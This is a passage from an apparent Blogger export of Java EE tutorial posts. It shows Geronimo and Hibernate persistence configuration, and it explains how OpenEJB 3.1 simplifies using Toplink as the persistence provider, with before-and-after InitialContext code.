<dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>jta</dep:artifactId><br /> <dep:version>1.1</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>GeronimoTransactionManager</dep:artifactId><br /> <dep:version>1.0</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>org.slf4j</dep:groupId><br /> <dep:artifactId>slf4j-api</dep:artifactId><br /> <dep:version>1.4.3</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> </dep:dependencies><br /> </dep:environment><br /></openejb-jar></pre></li><li>Specify the transaction manager in your persistence.xml. Here is an example. Note how the JTA data source is specified by only using the artifact ID of the pool you created, with any underscore (_) characters replaced with a "/". This is how Geronimo maps repository resource's module IDs to JNDI names.<br /><pre><?xml version="1.0" encoding="UTF-8"?><br /><persistence version="1.0" xmlns="http://java.sun.com/xml/ns/persistence" <br /> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" <br /> xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd"><br /> <persistence-unit name="MyHibernateEJB-PU" transaction-type="JTA"><br /> <provider>org.hibernate.ejb.HibernatePersistence</provider><br /> <jta-data-source>jdbc/myDatabasePool</jta-data-source><br /> <exclude-unlisted-classes>false</exclude-unlisted-classes><br /> <properties><br /> <property name="hibernate.hbm2ddl.auto" value="create-drop"/><br /> <property name="hibernate.transaction.manager_lookup_class" <br /> value="org.hibernate.transaction.GeronimoTransactionManagerLookup"/><br /> </properties><br /> </persistence-unit><br /></persistence></pre></li><li>And deploy your EJB.<br /></li></ol>All should be done now, and you can use Hibernate like you would any other persistence framework.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com2tag:blogger.com,1999:blog-3694842005173898380.post-80738180725318017732008-12-09T23:02:00.001+02:002017-12-03T13:23:31.505+02:00Toplink with OpenEJB 3.1This is basically a follow up on my <a href="http://qbeukes.blogspot.com/2008/08/toplink-as-your-openejb-persistence.html">previous post</a>, which deals with using EclipseLink or Toplink as your persistence provider.<br /><br />With OpenEJB 3.0 you had to use a few workarounds described in my post entitled <a href="http://qbeukes.blogspot.com/2008/08/toplink-as-your-openejb-persistence.html">Toplink as your OpenEJB Persistence Provider</a>.<br /><br />All the steps are basically the same, ie. ensuring you have the necessary libraries on the classpath, configuring persistence.xml, etc.<br /><br />The difference is in initializing your InitialContext. Previously you had to do the following:<br /><pre style="font-size: 85%;"> Properties properties = new Properties();<br /> properties.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");<br /><br /> properties.put("openejbDatasource", "new://Resource?type=DataSource");<br /> properties.put("openejbDatasource.JdbcDriver", "org.postgresql.Driver");<br /> properties.put("openejbDatasource.JdbcUrl", "jdbc:postgresql://localhost:5432/vds_test");<br /> properties.put("openejbDatasource.UserName", "vds");<br /> properties.put("openejbDatasource.Password", "vds");<br /><br /> System.getProperties().setProperty("toplink.target-server", "org.apache.openejb.toplink.openejb.OpenEJBTransactionController");<br /> System.getProperties().setProperty("toplink.ddl-generation", "drop-and-create-tables");<br /> System.getProperties().setProperty("toplink.logging.level", "INFO");<br /> System.getProperties().setProperty("toplink.create-ddl-jdbc-file-name", "create.sql");<br /> System.getProperties().setProperty("toplink.ddl-generation.output-mode", "both");<br /><br /> InitialContext initialContext = new InitialContext(properties);</pre><br />Now all you need to do is this:<br /><pre style="font-size: 85%;"> Properties properties = new Properties();<br /> properties.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");<br /><br /> properties.put("openejbDatasource", "new://Resource?type=DataSource");<br /> properties.put("openejbDatasource.JdbcDriver", "org.postgresql.Driver");<br /> properties.put("openejbDatasource.JdbcUrl", "jdbc:postgresql://localhost:5432/vds_test");<br /> properties.put("openejbDatasource.UserName", "vds");<br /> properties.put("openejbDatasource.Password", "vds");<br /><br /> System.getProperties().setProperty("toplink.ddl-generation", "drop-and-create-tables");<br /> System.getProperties().setProperty("toplink.logging.level", "INFO");<br /> System.getProperties().setProperty("toplink.create-ddl-jdbc-file-name", "create.sql");<br /> System.getProperties().setProperty("toplink.ddl-generation.output-mode", "both");<br /><br /> InitialContext initialContext = new InitialContext(properties);</pre><br />It basically comes down to you not having to add the extra target-server property and thus no need to create the initialization class (in my example "org.apache.openejb.toplink.openejb.OpenEJBTransactionController") because OpenEJB 3.1 automatically detects and configures Toplink (or derived) providers.<br /><br />Thank the OpenEJB developers for their extraordinary effort.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com1